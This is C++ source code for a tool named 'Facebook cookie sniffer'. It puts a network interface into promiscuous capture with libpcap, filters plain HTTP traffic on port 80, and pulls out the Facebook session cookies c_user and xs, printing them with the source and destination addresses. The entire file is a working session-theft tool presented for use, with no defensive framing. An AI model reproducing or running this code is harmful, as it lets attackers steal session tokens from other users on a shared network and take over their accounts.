// Facebook cookie sniffer v.0.1
// g++ fbsniff.cpp -o fbsniff -O4 -lpcap -std=c++11
 
#include <pcap.h>
#include <cstdlib>
#include <string>
#include <cstring>
#include <cstdint>
#include <iostream>
#include <set>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
 
using namespace std;
 
#define SNAP_LEN 1518
#define SIZE_ETHERNET 14
#define ETHER_ADDR_LEN	6
 
struct ipHeader {
	uint8_t  ip_vhl;
	uint8_t  ip_tos;
	uint16_t ip_len;
	uint16_t ip_id;
	uint16_t ip_off;
	uint8_t  ip_ttl;
	uint8_t  ip_p;
	uint16_t ip_sum;
	struct  in_addr ip_src,ip_dst;
};
 
struct tcpHeader {
	uint16_t	th_sport;
	uint16_t	th_dport;
	uint32_t	th_seq;
	uint32_t	th_ack;
	uint8_t		th_offx2;
	uint8_t		th_flags;
	uint16_t	th_win;
	uint16_t	th_sum;
	uint16_t	th_urp;
};
 
#define IP_HL(ip)		(((ip)->ip_vhl) & 0x0f)
#define TH_OFF(th)		(((th)->th_offx2 & 0xf0) >> 4)
 
bool unique = false;
set <string> users;
 
void got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet) {
	const struct ipHeader *ip;
	const struct tcpHeader *tcp;
	const char *payload;
 
	int size_ip;
	int size_tcp;
	int size_payload;
 
	ip = (struct ipHeader *)(packet + SIZE_ETHERNET);
	size_ip = IP_HL(ip) * 4;
 
	if (ip->ip_p != IPPROTO_TCP) return;
 
	tcp = (struct tcpHeader *)(packet + SIZE_ETHERNET + size_ip);
	size_tcp = TH_OFF(tcp) * 4;
 
	payload = (const char *)(packet + SIZE_ETHERNET + size_ip + size_tcp);
 
	size_payload = ntohs(ip->ip_len) - (size_ip + size_tcp);
 
	if (size_payload > 0) {
		string s(payload, size_payload);
 
		int32_t cp = s.find("Cookie: ");
		if (cp == string::npos) return;
 
		int32_t c_user = s.find("c_user=");
		int32_t xs = s.find("xs=");
 
		if (xs == string::npos || c_user == string::npos) return;
 
		int32_t c_user_end = s.find(";", c_user);
		int32_t xs_end = s.find(";", xs);
 
		// Broken packet
		if (xs_end == string::npos || c_user_end == string::npos) return;
 
		try {
			string s_c_user = s.substr(c_user, c_user_end - c_user);
			string s_xs = s.substr(xs, xs_end - xs);
 
			if (unique) {
				if (users.find(s_c_user) != users.end()) return;
 
				users.insert(s_c_user);
			}
 
			cout << "From: " << inet_ntoa(ip->ip_src) << " To: " << inet_ntoa(ip->ip_dst) << endl;
			cout << "Cookie: " << s_c_user << "; " << s_xs << ";" << endl;
		}
		catch ( ... ) {
			cout << "Error: " << s << endl;
		}
	}
 
	return;
}
 
int main(int32_t argc, char **argv) {
	string dev;	
	int c;
 
	while ((c = getopt(argc, argv, "ui:")) != -1) {
		switch (c) {
			case 'u':
				unique = true;
				break;
			case 'i':
				dev = string(optarg);
				break;
			case '?':
				break;
		}
	}
 
	if (dev.empty()) {
		cerr << "Usage: fbsniff [-u] [ -i interface ]" << endl;
		cerr << "-u		Print only unique results" << endl;
 
		return 1;
	}
 
	char errbuf[PCAP_ERRBUF_SIZE];
 
	pcap_t *handle = pcap_open_live(dev.c_str(), BUFSIZ, 1, 1000, errbuf);	
	if (handle == NULL) {
		cerr << "Couldn't open device " << dev << " for sniffing: " << errbuf << endl;
		return 1;
	}
 
	bpf_u_int32 mask;
	bpf_u_int32 net;
 
	if (pcap_lookupnet(dev.c_str(), &net, &mask, errbuf) == -1) {
		cerr << "Couldn't get netmask for device " <<  dev << endl;
		net = 0;
		mask = 0;
	}
 
	// Apply filter
	struct bpf_program fp;
	if (pcap_compile(handle, &fp, "tcp port 80", 0, net) == -1) {
		cerr << "Couldn't parse filter: " << pcap_geterr(handle) << endl;
		return 1;
	}
 
	if (pcap_setfilter(handle, &fp) == -1) {
		cerr << "Couldn't install filter: " << pcap_geterr(handle) << endl;
		return 1;
	}
 
	pcap_loop(handle, 0, got_packet, NULL);
 
	pcap_freecode(&fp);
	pcap_close(handle);
 
	return 0;
}